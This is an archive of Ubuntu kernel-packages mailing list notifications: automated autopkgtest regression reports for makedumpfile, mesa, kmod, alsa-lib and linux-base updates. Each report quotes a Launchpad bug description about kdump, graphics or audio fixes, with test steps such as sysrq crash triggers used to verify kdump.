[Kernel-packages] [Bug 1841288] Autopkgtest regression report (makedumpfile/1:1.6.5-1ubuntu1.1)
All autopkgtests for the newly accepted makedumpfile (1:1.6.5-1ubuntu1.1) for disco have finished running. The following regressions have been reported in tests triggered by the package: makedumpfile/1:1.6.5-1ubuntu1.1 (s390x, ppc64el) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/disco/update_excuses.html#makedumpfile [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to makedumpfile in Ubuntu. https://bugs.launchpad.net/bugs/1841288 Title: does not create compressed dump on 5.0 or later kernels Status in makedumpfile package in Ubuntu: Fix Released Status in makedumpfile source package in Bionic: Fix Committed Status in makedumpfile source package in Disco: Fix Committed Bug description: [Impact] On ppc64el, makedumpfile won't create compressed dumps, causing them to be very large. This affects any kernel later than 4.19 actually. [Test case] Crash a system with kdump-tools installed and enabled, by using the following sequence. Verify the created dumps are compressed by using file. This is the same test as the autopkgtest for makedumpfile. echo 1 | sudo tee /proc/sys/kernel/sysrq echo c | sudo tee /proc/sysrq-trigger [Regression potential] This is a small fix and should only impact ppc64el. Older kernels should still work, and should be tested. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/makedumpfile/+bug/1841288/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1828597] Autopkgtest regression report (makedumpfile/1:1.6.5-1ubuntu1.1)
All autopkgtests for the newly accepted makedumpfile (1:1.6.5-1ubuntu1.1) for disco have finished running. The following regressions have been reported in tests triggered by the package: makedumpfile/1:1.6.5-1ubuntu1.1 (s390x, ppc64el) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/disco/update_excuses.html#makedumpfile [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to kexec-tools in Ubuntu. https://bugs.launchpad.net/bugs/1828597 Title: KDump boot fails with nr_cpus=1 Status in The Ubuntu-power-systems project: Confirmed Status in kexec-tools package in Ubuntu: Invalid Status in linux package in Ubuntu: Confirmed Status in makedumpfile package in Ubuntu: Fix Released Status in makedumpfile source package in Bionic: Fix Committed Status in kexec-tools source package in Cosmic: Invalid Status in kexec-tools source package in Disco: Invalid Status in linux source package in Disco: Confirmed Status in makedumpfile source package in Disco: Fix Committed Status in kexec-tools source package in Eoan: Invalid Status in linux source package in Eoan: Confirmed Status in makedumpfile source package in Eoan: Fix Released Bug description: [Impact] The kdump kernel will crash during its boot if booted on a CPU other than 0. [Test case] Trigger a crash using taskset -c X, where X is not 0 and is a present CPU. Check that the dump is successful. echo c | sudo taskset -c 1 tee /proc/sysrq-trigger [Regression potential] This will cause more memory to be used by the dump kernel, which may cause OOMs during the dump. The fix is restricted to ppc64el. == Comment: #0 - Hari Krishna Bathini - 2019-05-10 06:38:21 == ---Problem Description--- kdump boots fails in some environments when nr_cpus=1 is passed ---uname output--- na Machine Type = na ---Debugger--- A debugger is not configured ---Steps to Reproduce--- 1. configure kdump 2. trigger crash on non-boot cpu Expected result: Capture dump and reboot Actual result: Hang in early kdump boot process after crash Userspace tool common name: kdump-tools The userspace tool has the following bit modes: 64-bit Userspace rpm: kdump-tools Userspace tool obtained from project website: na == Comment: #1 - Hari Krishna Bathini - 2019-05-10 06:45:46 == Launchpad bug 1560552 added "nr_cpus=1" support on ppc64 though this change never made it upstream as maintainer has a few apprehensions.. With 4.18 kernels, this change is dropped on Ubuntu kernels too. With nr_cpus=1 support in kernel, kdump-tools was also updated to use "nr_cpsu=1" by default instead of "maxcpus=1" (see launchpad bug 1568952). This kdump-tools change has to be reverted to make it consist with the kernel change. Note that "nr_cpus=1 change had a issues in kdump guest environment even with "nr_cpus=1" support for kdump in kernel. So, even not withstanding the kernel revert, it is better to default to "maxcpus=1" on all kernel versions. So, please revert the kdump-tools fix that went in with launchpad bug 1568952 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-power-systems/+bug/1828597/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1828596] Autopkgtest regression report (makedumpfile/1:1.6.5-1ubuntu1.1)
All autopkgtests for the newly accepted makedumpfile (1:1.6.5-1ubuntu1.1) for disco have finished running. The following regressions have been reported in tests triggered by the package: makedumpfile/1:1.6.5-1ubuntu1.1 (s390x, ppc64el) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/disco/update_excuses.html#makedumpfile [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to makedumpfile in Ubuntu. https://bugs.launchpad.net/bugs/1828596 Title: kdump fails when crash is triggered after DLPAR cpu add operation Status in The Ubuntu-power-systems project: In Progress Status in kexec-tools package in Ubuntu: Invalid Status in makedumpfile package in Ubuntu: Fix Released Status in kexec-tools source package in Xenial: New Status in makedumpfile source package in Xenial: New Status in kexec-tools source package in Bionic: New Status in makedumpfile source package in Bionic: Fix Committed Status in kexec-tools source package in Cosmic: New Status in makedumpfile source package in Cosmic: Won't Fix Status in kexec-tools source package in Disco: New Status in makedumpfile source package in Disco: Fix Committed Status in kexec-tools source package in Eoan: Invalid Status in makedumpfile source package in Eoan: Fix Released Bug description: [Impact] After a CPU add/hotplug operation on Power systems, kdump will fail after a crash. The kdump kernel needs to be reloaded after a CPU add/hotplug. [Test case] Do CPU add/hotplug, trigger a crash, and check for a successful kdump. [Regression potential] Multiple reloads caused by multiple sequential CPU adds may cause spurious log results, and systemd may fail to properly reload the kdump kernel. This has been handled by resetting the failure counter when doing such reloads. == Comment: #0 - Hari Krishna Bathini - 2019-05-10 05:55:40 == ---Problem Description--- kdump fails when crash is triggered after CPU add operation. Machine Type = na ---System Hang--- Crashed in early boot process of kdump kernel after crash Had to issue system reset from HMC to reclaim ---Steps to Reproduce--- 1. Configure kdump. 2. Add cpu from HMC. 3. Trigger crash. 4. Machine hangs after crash as below: --- [169250.213166] IPI complete [169250.234331] kexec: Starting switchover sequence. I'm in purgatory --- STRUCK HERE --- ---uname output--- na ---Debugger--- A debugger is not configured == Comment: #1 - Hari Krishna Bathini - 2019-05-10 05:56:46 == The problem is, kexec udev rule to restart kdump-tools service - when a core is added, is not being triggered. The old DT created by kexec (before the core is added) is being used by KDump Kernel. So, when system crashes on a thread from the added core(s), KDump kernel is failing to get the 'boot_cpuid' and eventually failing to boot.. == Comment: #2 - Hari Krishna Bathini - 2019-05-10 06:02:27 == The udev rule when CPU is added is not triggered because ppc64 does not eject add/remove event when a CPU is hot added/removed. It only ejects online/offline event to user space when CPU is hot added/removed. So, the below udev rules are never triggered when needed: SUBSYSTEM=="cpu", ACTION=="add", PROGRAM="/bin/systemctl try-restart kdump-tools.service" SUBSYSTEM=="cpu", ACTION=="remove", PROGRAM="/bin/systemctl try-restart kdump-tools.service" Also, with how CPU hot add & remove are handled in ppc64, a udev trigger to reload kdump after CPU is hot removed is NOT necessary. So, fix the CPU hot add case by updating the udev rule and drop the udev rule meant for CPU hot remove in the kdump udev rules file: SUBSYSTEM=="cpu", ACTION=="online", PROGRAM="/bin/systemctl try- restart kdump-tools.service" To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-power-systems/+bug/1828596/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1681909] Autopkgtest regression report (makedumpfile/1:1.6.5-1ubuntu1.1)
All autopkgtests for the newly accepted makedumpfile (1:1.6.5-1ubuntu1.1) for disco have finished running. The following regressions have been reported in tests triggered by the package: makedumpfile/1:1.6.5-1ubuntu1.1 (s390x, ppc64el) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/disco/update_excuses.html#makedumpfile [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to makedumpfile in Ubuntu. https://bugs.launchpad.net/bugs/1681909 Title: kdump is not captured in remote host when kdump over ssh is configured Status in The Ubuntu-power-systems project: Fix Committed Status in makedumpfile package in Ubuntu: Fix Released Status in makedumpfile source package in Xenial: Won't Fix Status in makedumpfile source package in Bionic: Fix Committed Status in makedumpfile source package in Cosmic: Won't Fix Status in makedumpfile source package in Disco: Fix Committed Status in makedumpfile source package in Eoan: Fix Released Bug description: [Impact] * Kdump over network (like NFS mount or SSH dump) relies on network- online target from systemd. Even so, there are some NICs that report "Link Up" state but aren't ready to transmit packets. This is a generally bad behavior that is credited probably to NIC firmware delays, usually not fixable from drivers. Some adapters known to act like this are bnx2x, tg3 and ixgbe. * Kdump is a mechanism that may be a last resort to debug complex/hard to reproduce issues, so it's interesting to increase its reliability / resilience. We then propose here a solution/quirk to this issue on network dump by adding a retry/delay mechanism; if it's a network dump, kdump will retry some times and sleep between the attempts in order to exclude the case of NICs that aren't ready yet but will soon be able to transmit packets. * Although first reported by IBM in PowerPC arch, the scope for this issue is the NIC, and it was later reported in x86 arch too. [Test case] Usually it's difficult to naturally reproduce this issue in a deterministic way, but we have an artificial test case on comment #24 of this LP. Also, we have a report from this bug in which the user managed to reproduce the problem consistently - it's fixed after testing our solution. [Regression potential] There's not a clear regression potential here since it's just a retry/delay mechanism. Some potential problems may come from bad coding in the script. The delay between attempts is only 3 sec per iteration, so it shouldn't block the kdump progress for a high amount of time at once. [Other information] Salsa Debian commit: https://salsa.debian.org/debian/makedumpfile/commit/d63ba95337988be1eac8c8c76d90825ff5c6d17f To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-power-systems/+bug/1681909/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1741860] Autopkgtest regression report (makedumpfile/1:1.6.5-1ubuntu1.1)
All autopkgtests for the newly accepted makedumpfile (1:1.6.5-1ubuntu1.1) for disco have finished running. The following regressions have been reported in tests triggered by the package: makedumpfile/1:1.6.5-1ubuntu1.1 (s390x, ppc64el) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/disco/update_excuses.html#makedumpfile [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to makedumpfile in Ubuntu. https://bugs.launchpad.net/bugs/1741860 Title: Use the kernel default for crashkernel offset Status in The Ubuntu-power-systems project: In Progress Status in makedumpfile package in Ubuntu: Fix Released Status in makedumpfile source package in Xenial: In Progress Status in makedumpfile source package in Bionic: Fix Committed Status in makedumpfile source package in Disco: Fix Committed Status in makedumpfile source package in Eoan: Fix Released Bug description: [Impact] * The value chosen for ppc64el of 128MB aligns with that of the kernel default. That may change some day, so it would be best to let the kernel decide what value it should use. If the value does change and the kernel is not allowed to choose a value, this may stop the kernel from booting on a production system. [Test Case] Run `cat /etc/default/grub.d/kdump-tools.cfg` * Expected result: there is no offset specified at the end of the line (.e.g, @128M). * Actual result: For Xenial, Bionic, Disco, and Eoan there are offsets specified. [Regression Potential] * Right now, the offset described in the kdump-tools.cfg aligns with that of what the kernel would select, so since they are the same we would expect no change in operation. Original bug description follows: - == Comment: #0 - Hari Krishna Bathini - 2018-01-08 01:06:41 == ---Problem Description--- A default offset of 128MB is enforced for crashkernel by kdump-tools utility overriding the kernel default. While the kernel default offset for crashkernel is also 128MB, that may change and the right thing to do would be to let the kernel decide on the offset of crashkernel in the default scenario.. Get rid of "@128M" in kdump-tools.cfg file Contact Information = hbath...@in.ibm.com ---uname output--- na Machine Type = na ---Debugger--- A debugger is not configured ---Steps to Reproduce--- # cat /etc/default/grub.d/kdump-tools.cfg GRUB_CMDLINE_LINUX_DEFAULT="$GRUB_CMDLINE_LINUX_DEFAULT crashkernel=2G-4G:320M,4G-32G:512M,32G-64G:1024M,64G-128G:2048M,128G-:4096M@128M" --- The offset is specified via kdump-tools where as the kernel may be the right place to set an offset by default.. Userspace tool common name: kdump-tools The userspace tool has the following bit modes: 64-bit Userspace rpm: kdump-tools Userspace tool obtained from project website: na *Additional Instructions for hbath...@in.ibm.com: -Attach ltrace and strace of userspace application. == Comment: #3 - MAMATHA INAMDAR - 2018-01-08 03:05:05 == This bug is opened to follow-up other bug based on the comment 19 https://bugzilla.linux.ibm.com/show_bug.cgi?id=152905#c19 (Canonical Launchpad1676884 ) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-power-systems/+bug/1741860/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1815172] Autopkgtest regression report (mesa/19.0.8-0ubuntu0~18.04.2)
All autopkgtests for the newly accepted mesa (19.0.8-0ubuntu0~18.04.2) for bionic have finished running. The following regressions have been reported in tests triggered by the package: vtk6/unknown (armhf) kf5-messagelib/4:17.12.3-0ubuntu3 (armhf) firefox/68.0.2+build1-0ubuntu0.18.04.1 (armhf) openjdk-8/8u222-b10-1ubuntu1~18.04.1 (i386, s390x, arm64, armhf, ppc64el, amd64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#mesa [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1815172 Title: [bionic] drm/i915: softpin broken, needs to be fixed for 32bit mesa Status in Mesa: Fix Released Status in linux package in Ubuntu: Fix Released Status in mesa package in Ubuntu: Fix Released Status in linux source package in Bionic: Fix Committed Status in mesa source package in Bionic: Fix Committed Status in linux source package in Cosmic: Won't Fix Status in mesa source package in Cosmic: Fix Released Bug description: [Impact] Several schools reported black screens after normally updating their Ubuntu boxes from 18.0.5-0ubuntu0~18.04.1 to 18.2.2-0ubuntu1~18.04.1. Downgrading mesa fixes the problem. lspci: 00:02.0 VGA compatible controller [0300]: Intel Corporation HD Graphics 530 [8086:1912] (rev 06) Subsystem: ASUSTeK Computer Inc. HD Graphics 530 [1043:8694]Kernel modules: i915 Unfortunately I can't find a lot of useful information, here are some bits: * systemctl --failed says "gpu-manager" and "lightdm" have failed * Xorg.log is clean: https://termbin.com/6l2b * dmesg too: https://termbin.com/ip4e * It happens on lightdm/MATE, I don't know about Ubuntu GNOME. * If one runs `xinit` from ssh, it fails with: i965: Failed to submit batchbuffer: Invalid argument This is caused by mesa assuming that soft-pinning on GEN8+ is working since kernel 4.5, but in fact this issue wasn't fixed until 4.19.3. So a proper fix would be to backport commits from 4.19.3/4.20 to fix GTT sizes/pin flags, but that's left for future. [Test case] install fixed mesa or kernel, check that the regression is fixed [Regression potential] mesa: shouldn't be any, it just reverts the change to always soft-pin (TODO kernel: adds commits from upstream stable, which have been well tested upstream by now) To manage notifications about this bug go to: https://bugs.launchpad.net/mesa/+bug/1815172/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1872863] Autopkgtest regression report (kmod/24-1ubuntu3.4)
All autopkgtests for the newly accepted kmod (24-1ubuntu3.4) for bionic have finished running. The following regressions have been reported in tests triggered by the package: chrony/3.2-4ubuntu4.4 (armhf) linux-hwe-5.0/5.0.0-48.52~18.04.1 (arm64) linux-aws-5.3/5.3.0-1018.20~18.04.1 (arm64) linux/4.15.0-100.101 (arm64) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#kmod [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1872863 Title: QEMU/KVM display is garbled when booting from kernel EFI stub due to missing bochs-drm module Status in kmod package in Ubuntu: Fix Released Status in linux package in Ubuntu: Fix Released Status in kmod source package in Bionic: Fix Committed Status in linux source package in Bionic: Fix Committed Bug description: BugLink: https://bugs.launchpad.net/bugs/1872863 [Impact] A recent grub2 SRU, LP #1864533, now forces the kernel to boot via the kernel EFI stub whenever EFI is enabled. This causes problems for QEMU/KVM virtual machines which use the VGA=std video device, as the efifb driver yields an unreadable garbled screen. See the attached image. The correct framebuffer driver to use in this situation is bochs-drm, and modprobing it from a HWE kernel fixes the issues. bochs-drm is missing from Bionic since CONFIG_DRM_BOCHS was disabled in LP #1378648 due to bochs-drm causing problems in a PowerKVM machine. This problem appears to be fixed now, and bochs-drm has been re-enabled for Disco and up, in LP #1795857 and has been proven safe. This has also come up again in LP #1823152, as well as chatter on LP #1795857 to get this enabled on Bionic. The customer which is experiencing this issue cannot switch to VGA=qxl as a workaround, and must use VGA=std, hence I suggest we re-enable bochs-drm for Bionic. [Fix] I noticed on Focal, if you boot, the framebuffer is initially efifb: [ 0.603716] efifb: probing for efifb [ 0.603733] efifb: framebuffer at 0xc000, using 1876k, total 1875k [ 0.603735] efifb: mode is 800x600x32, linelength=3200, pages=1 [ 0.603736] efifb: scrolling: redraw [ 0.603738] efifb: Truecolor: size=8:8:8:8, shift=24:16:8:0 [ 0.604462] Console: switching to colour frame buffer device 100x37 [ 0.605829] fb0: EFI VGA frame buffer device This soon changes to bochs-drm about a second later: [ 0.935988] bochs-drm :00:01.0: remove_conflicting_pci_framebuffers: bar 0: 0xc000 -> 0xc0ff [ 0.937023] bochs-drm :00:01.0: remove_conflicting_pci_framebuffers: bar 2: 0xc1c8c000 -> 0xc1c8cfff [ 0.937776] checking generic (c000 1d5000) vs hw (c000 100) [ 0.937776] fb0: switching to bochsdrmfb from EFI VGA [ 0.939085] Console: switching to colour dummy device 80x25 [ 0.939117] bochs-drm :00:01.0: vgaarb: deactivate vga console [ 0.939210] [drm] Found bochs VGA, ID 0xb0c5. [ 0.939212] [drm] Framebuffer size 16384 kB @ 0xc000, mmio @ 0xc1c8c000. [ 0.941955] lpc_ich :00:1f.0: I/O space for GPIO uninitialized [ 0.942069] [TTM] Zone kernel: Available graphics memory: 2006780 KiB [ 0.942081] [TTM] Initializing pool allocator [ 0.942089] [TTM] Initializing DMA pool allocator [ 0.943026] virtio_blk virtio2: [vda] 20971520 512-byte logical blocks (10.7 GB/10.0 GiB) [ 0.944019] [drm] Found EDID data blob. [ 0.944162] [drm] Initialized bochs-drm 1.0.0 20130925 for :00:01.0 on minor 0 [ 0.944979] fbcon: bochs-drmdrmfb (fb0) is primary device [ 0.947712] Console: switching to colour frame buffer device 128x48 On bionic, the framebuffer never changes from efifb, since the bochs- drm kernel module is not built, and it is also present on the module banlist in /etc/modprobe.d/blacklist-framebuffer.conf bochs-drm needs to be enabled to be built in the kernel config, and removed from the module blacklist in kmod. [Testcase] Create a new QEMU/KVM virtual machine, I used virt-manager. Before you install the OS, check the box to modify settings before install. In the "Overview" tab, enable EFI by setting the firmware to "UEFI x86_64: /usr/share/OVMF/OVMF_CODE.secboot.fd". Set the video device to qxl while you install Bionic. Once the install is done, reboot, do a "apt update" and "apt upgrade", to ensure you have grub2 2.02-2ubuntu8.15 installed. Shut the VM down, and set the video device to VGA. Or VGA=std if you use the QEMU command line. Start the VM up, and the screen will be garbled. See attached picture. If you install my test packages, which are available here: https://launchpad.net
[Kernel-packages] [Bug 1869465] Autopkgtest regression report (makedumpfile/1:1.6.6-2ubuntu2.1)
All autopkgtests for the newly accepted makedumpfile (1:1.6.6-2ubuntu2.1) for eoan have finished running. The following regressions have been reported in tests triggered by the package: makedumpfile/1:1.6.6-2ubuntu2.1 (ppc64el, i386) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/eoan/update_excuses.html#makedumpfile [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to makedumpfile in Ubuntu. https://bugs.launchpad.net/bugs/1869465 Title: Kdump-Tools: Makedumpfile Failed, Falling Back To 'Cp' Status in makedumpfile package in Ubuntu: Fix Released Status in makedumpfile source package in Xenial: Fix Committed Status in makedumpfile source package in Bionic: Fix Committed Status in makedumpfile source package in Eoan: Fix Committed Status in makedumpfile source package in Focal: Fix Committed Status in makedumpfile source package in Groovy: Fix Released Status in makedumpfile package in Debian: New Bug description: [Impact] On some arm systems makedumpfile fails to translate virtual to physical addresses properly. This may result in makedumpfile looping forever exhausting all memory, or translating a virtual address to an invalid physical address and then failing and falling back to cp. The reason it cannot resolve some addresses is because the PMD mask is wrong. When physical address mask allows up to 48bits pmd mask should allow the same, currently pmd mask is set to 40bits (see commit [1]). Commit [1] fixes this bug. [Test Case] To hit this bug you need a system that needs physical addresses over 1TB. This may be either because you have a lot of memory or because the firmware mapped some memory above 1TB for some reason [1]. A user hit this bug because firmware mapped memory above 1TB and provided a dump so I could reproduce the bug when running makedumpfile on the dump. [Regression Potential] This commit changes the PMD_SECTION_MASK for arm64. So any regression potential would only affect arm64 systems. In addition PMD_SECTION_MASK is used in translation from virtual to physical addresses and therefore any regression would happen during this process. [Other] [1] https://github.com/makedumpfile/makedumpfile/commit/7242ae4cb5288df626f464ced0a8b60fd669100b When testing kdump on Ubuntu 18.04.4 (arm64) GA kernel, makedumpfile fails. The test steps are as follows: # echo 1> / proc / sys / kernel / sysrq # echo c> / proc / sysrq-trigger The logs are as follows: kdump-tools[646]: starting kdump-tools: * running makedumpfile -c -d 31 /proc/vmcore /var/crash/202003251128/dump-incomplete kdump-tools[646]: readpage_elf: Attempt to read non-existent page at 0x0 kdump-tools[646]: readmem: type_addr: 1, addr:ff0, size:8 kdump-tools[646]: vaddr_to_paddr_arm64: Can't read pud kdump-tools[646]: readmem: Can't convert a virtual address(9e653690) to physical address. kdump-tools[646]: readmem: type_addr: 0, addr:9e653690, size:1032 kdump-tools[646]: validate_mem_section: Can't read mem_section array. kdump-tools[646]: get_mem_section: Could not validate mem_section. kdump-tools[646]: get_mm_sparsemem: Can't get the address of mem_section. kdump-tools[646]: makedumpfile Failed. kdump-tools[646]: * kdump-tools: makedumpfile failed, falling back to 'cp' But when I use the HWE kernel, I find that there is no such problem. The HEW kernel version: 5.3.0-42-generic To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/makedumpfile/+bug/1869465/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1869465] Autopkgtest regression report (makedumpfile/1:1.6.5-1ubuntu1~18.04.5)
All autopkgtests for the newly accepted makedumpfile (1:1.6.5-1ubuntu1~18.04.5) for bionic have finished running. The following regressions have been reported in tests triggered by the package: makedumpfile/1:1.6.5-1ubuntu1~18.04.5 (s390x) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/bionic/update_excuses.html#makedumpfile [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to makedumpfile in Ubuntu. https://bugs.launchpad.net/bugs/1869465 Title: Kdump-Tools: Makedumpfile Failed, Falling Back To 'Cp' Status in makedumpfile package in Ubuntu: Fix Released Status in makedumpfile source package in Xenial: Fix Committed Status in makedumpfile source package in Bionic: Fix Committed Status in makedumpfile source package in Eoan: Fix Committed Status in makedumpfile source package in Focal: Fix Committed Status in makedumpfile source package in Groovy: Fix Released Status in makedumpfile package in Debian: New Bug description: [Impact] On some arm systems makedumpfile fails to translate virtual to physical addresses properly. This may result in makedumpfile looping forever exhausting all memory, or translating a virtual address to an invalid physical address and then failing and falling back to cp. The reason it cannot resolve some addresses is because the PMD mask is wrong. When physical address mask allows up to 48bits pmd mask should allow the same, currently pmd mask is set to 40bits (see commit [1]). Commit [1] fixes this bug. [Test Case] To hit this bug you need a system that needs physical addresses over 1TB. This may be either because you have a lot of memory or because the firmware mapped some memory above 1TB for some reason [1]. A user hit this bug because firmware mapped memory above 1TB and provided a dump so I could reproduce the bug when running makedumpfile on the dump. [Regression Potential] This commit changes the PMD_SECTION_MASK for arm64. So any regression potential would only affect arm64 systems. In addition PMD_SECTION_MASK is used in translation from virtual to physical addresses and therefore any regression would happen during this process. [Other] [1] https://github.com/makedumpfile/makedumpfile/commit/7242ae4cb5288df626f464ced0a8b60fd669100b When testing kdump on Ubuntu 18.04.4 (arm64) GA kernel, makedumpfile fails. The test steps are as follows: # echo 1> / proc / sys / kernel / sysrq # echo c> / proc / sysrq-trigger The logs are as follows: kdump-tools[646]: starting kdump-tools: * running makedumpfile -c -d 31 /proc/vmcore /var/crash/202003251128/dump-incomplete kdump-tools[646]: readpage_elf: Attempt to read non-existent page at 0x0 kdump-tools[646]: readmem: type_addr: 1, addr:ff0, size:8 kdump-tools[646]: vaddr_to_paddr_arm64: Can't read pud kdump-tools[646]: readmem: Can't convert a virtual address(9e653690) to physical address. kdump-tools[646]: readmem: type_addr: 0, addr:9e653690, size:1032 kdump-tools[646]: validate_mem_section: Can't read mem_section array. kdump-tools[646]: get_mem_section: Could not validate mem_section. kdump-tools[646]: get_mm_sparsemem: Can't get the address of mem_section. kdump-tools[646]: makedumpfile Failed. kdump-tools[646]: * kdump-tools: makedumpfile failed, falling back to 'cp' But when I use the HWE kernel, I find that there is no such problem. The HEW kernel version: 5.3.0-42-generic To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/makedumpfile/+bug/1869465/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1883670] Autopkgtest regression report (alsa-lib/1.2.2-2.1ubuntu1)
All autopkgtests for the newly accepted alsa-lib (1.2.2-2.1ubuntu1) for focal have finished running. The following regressions have been reported in tests triggered by the package: asterisk/1:16.2.1~dfsg-2ubuntu1 (armhf) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/focal/update_excuses.html#alsa-lib [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to alsa-lib in Ubuntu. https://bugs.launchpad.net/bugs/1883670 Title: Disable IEC958 on HP Thunderbolt Dock Status in HWE Next: New Status in OEM Priority Project: Confirmed Status in alsa-lib package in Ubuntu: Fix Released Status in alsa-lib source package in Focal: Fix Committed Status in alsa-lib source package in Groovy: Fix Released Bug description: [Impact] On HP Thunderbolt Dock, unusable SPDIF can be selected as output from PulseAudio. [Fix] Disable IEC958 (SPDIF) through ALSA UCM. [Test] With the UCM applied, `pactl` and audio panel in gnome-control-center no longer have SPDIF option. [Regression Potential] Low. This fix limits to the HP Thunderbolt Dock, other devices are unaffected. To manage notifications about this bug go to: https://bugs.launchpad.net/hwe-next/+bug/1883670/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1881338] Autopkgtest regression report (linux-base/4.5ubuntu2.2)
All autopkgtests for the newly accepted linux-base (4.5ubuntu2.2) for eoan have finished running. The following regressions have been reported in tests triggered by the package: makedumpfile/1:1.6.6-2ubuntu2.1 (ppc64el, i386) Please visit the excuses page listed below and investigate the failures, proceeding afterwards as per the StableReleaseUpdates policy regarding autopkgtest regressions [1]. https://people.canonical.com/~ubuntu-archive/proposed- migration/eoan/update_excuses.html#linux-base [1] https://wiki.ubuntu.com/StableReleaseUpdates#Autopkgtest_Regressions Thank you! -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-base in Ubuntu. https://bugs.launchpad.net/bugs/1881338 Title: linux-azure: Update SGX version to version LD_1.33 Status in linux-azure package in Ubuntu: In Progress Status in linux-azure-4.15 package in Ubuntu: New Status in linux-base package in Ubuntu: Fix Released Status in linux-azure source package in Xenial: Invalid Status in linux-azure-4.15 source package in Xenial: Invalid Status in linux-base source package in Xenial: Fix Committed Status in linux-azure source package in Bionic: Fix Committed Status in linux-azure-4.15 source package in Bionic: Fix Committed 